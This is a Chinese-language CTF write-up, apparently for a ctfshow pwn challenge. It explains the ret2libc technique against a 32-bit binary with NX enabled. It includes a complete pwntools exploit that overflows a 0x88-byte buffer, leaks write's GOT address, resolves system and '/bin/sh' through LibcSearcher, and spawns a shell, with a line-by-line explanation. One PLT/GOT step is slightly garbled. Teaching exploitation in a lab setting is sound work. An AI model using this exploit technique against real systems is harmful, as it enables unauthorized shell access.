checksec 查看保护
开启了NX保护,也就是栈上的数据被标记为不可执行
栈溢出写入了shellcode也不能被执行
题目上说了
让我们尝试 ret2libc 的方法
ret2libc就是调用程序动态链接库原本的函数去执行
动态链接和静态连接的区别是
比如说我在一个C语言程序中输入了
#include <stdio.h>
如果是静态连接,在程序编译的时候就会把 stdio.h 中我用到的函数写入到编译后的文件中
也就是文件中会包含调用的外部函数
如果是动态链接,会在程序运行的时候,加载libc文件,再读取其中的函数
接下来查看使用IDA查看代码
我们进入ctfshow函数查看
这里很明显存在栈溢出漏洞
buf的空间范围是 0x88
但是read函数能够读取 0x100 个字节
编写poc
from pwn import *
from LibcSearcher import *
io = process("./pwn")
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
ctfshow = elf.sym['ctfshow']
payload = cyclic(0x88+4) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
write = u32(io.recv(4))
libc = LibcSearcher('write', write)
base = write - libc.dump('write')
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
payload = cyclic(0x88 + 4) + p32(system) + p32(0) +p32(bin_sh)
io.sendline(payload)
io.interactive()
我们来分段对poc进行一个分析
sym表中包含了程序自定义的函数
像是 main 函数等
那为什么 write 函数既要加载 plt 表
又要加载 got 表?
这里的话因为 write 是一个外部函数
需要从动态链接库中加载
动态链接的程序在调用外部函数的时候
如果是程序第一次调用这个函数
1 程序执行到函数调用的位置,并执行跳转指令。跳转指令控流转移到PLT表中对应函数的入口点。
2 PLT表中的代码会进行动态链接的过程。首先,它会检查对应函数在PLT表中是否存在。如果不存在,则表示这是第一次调用该函数。
3 PLT表会根据函数的名称找到对应的Got表中的入口点。
4 接下来PLT表会进一步解析Got表中的入口点,获取真的函数T表将真正的函数地址加载到Got表中的入口点,这样下次调用该函数时就可以直接跳转到真正的函数地址,避免再次进行动态链接过程。
io = process("./pwn") # 加载程序赋值给 io
elf = ELF('./pwn') # 加载程序表项赋值给 elf
write_plt = elf.plt['write'] # 找到 write 函数的 plt 地址
write_got = elf.got['write'] # 找到 write 函数的 got 地址
ctfshow = elf.sym['ctfshow'] # 找到 ctfshow 函数的地址
程序中因为我们想要获取 write 函数的真实地址,所以需要输出got表中的write函数地址
然后再下一行
cyclic() 是生成随机字符,个数是参数里面的个数
0x88是栈满的量
4是因为这个变量的栈地址,距离函数返回地址的位置差4个字节
payload = cyclic(0x88+4) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
做个图看一下
我们输入的东西,0x88个,刚好填满buf
再往后写的4个随机字符,把不知道干啥的四个字节占用了
在后面就该我们的
p32(write_plt) 了
刚好用 p32(write_plt) 占掉原本函数的返回地址
程序往后执行就会调用我们输入的这个函数了
再继续
在x86架构中,调用函数的后面是这样的
(返回地址,参数1,参数2,…,参数n)
也就是先写上,我这个函数执行完之后
程序下一步要去哪里
再把那些参数顶上,函数需要多少个参数就写多少个
这时候就可以理解了p32(ctfshow)
是write执行完回去的地方(因为我们要再溢出一次,这里回到main也可以
)p32(1)
函数的第一个参数,在write函数中,第一个参数代表输出流,就是输出到哪里,1的话就是标准输出流也就是控制台输出p32(write_got)
第二个参数是输出什么东西,这里其实就是输出write函数的真实地址p32(4)
输出多少个字节
这里就是发送payload,然后接受write函数的真实地址赋值给变量write
io.sendline(payload)
write = u32(io.recv(4))
这里通过write函数的真实地址,创建libc对象,用来调用libc库
base: 用write函数的真实地址减去write函数的相对(相对于libc的地址)地址,从而获得libc的基地址
system: 基地址,加上system函数的相对地址,获得system函数的真实地址
bin_sh: 基地址加上str_bin_sh的相对地址,因为 /bin/sh 是一个字符串,所以写的时候要写成 str_bin_sh, 获得字符串 /bin/sh 的真实地址
libc = LibcSearcher('write', write)
base = write - libc.dump('write')
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
按照上面的payload,write函数在执行完之后,又回到了ctfshow函数
我们再次产生一次溢出
这次用system覆盖里函数的返回地址
用 0 当做 system 函数的返回地址(因为执行完system(‘/bin/sh’)就拿到shell了,后面也不需要做什么了)
用”/bin/sh”作为system函数的参数
发送payload,获得shell
payload = cyclic(0x88 + 4) + p32(system) + p32(0) +p32(bin_sh)
io.sendline(payload)
开始交互
io.interactive()
当运行脚本之后
会让我们输入libc的版本
这里需要输入程序所使用的libc
这个的话是根据程序在什么系统上运行,能够大概猜测出来的
我这里就是 libc6_2.27-3ubuntu1.5_i386
我直接输入2即可
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 300.00 | 0 | 2023-09-13 14:02:33 | 深度 200 普适 100 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.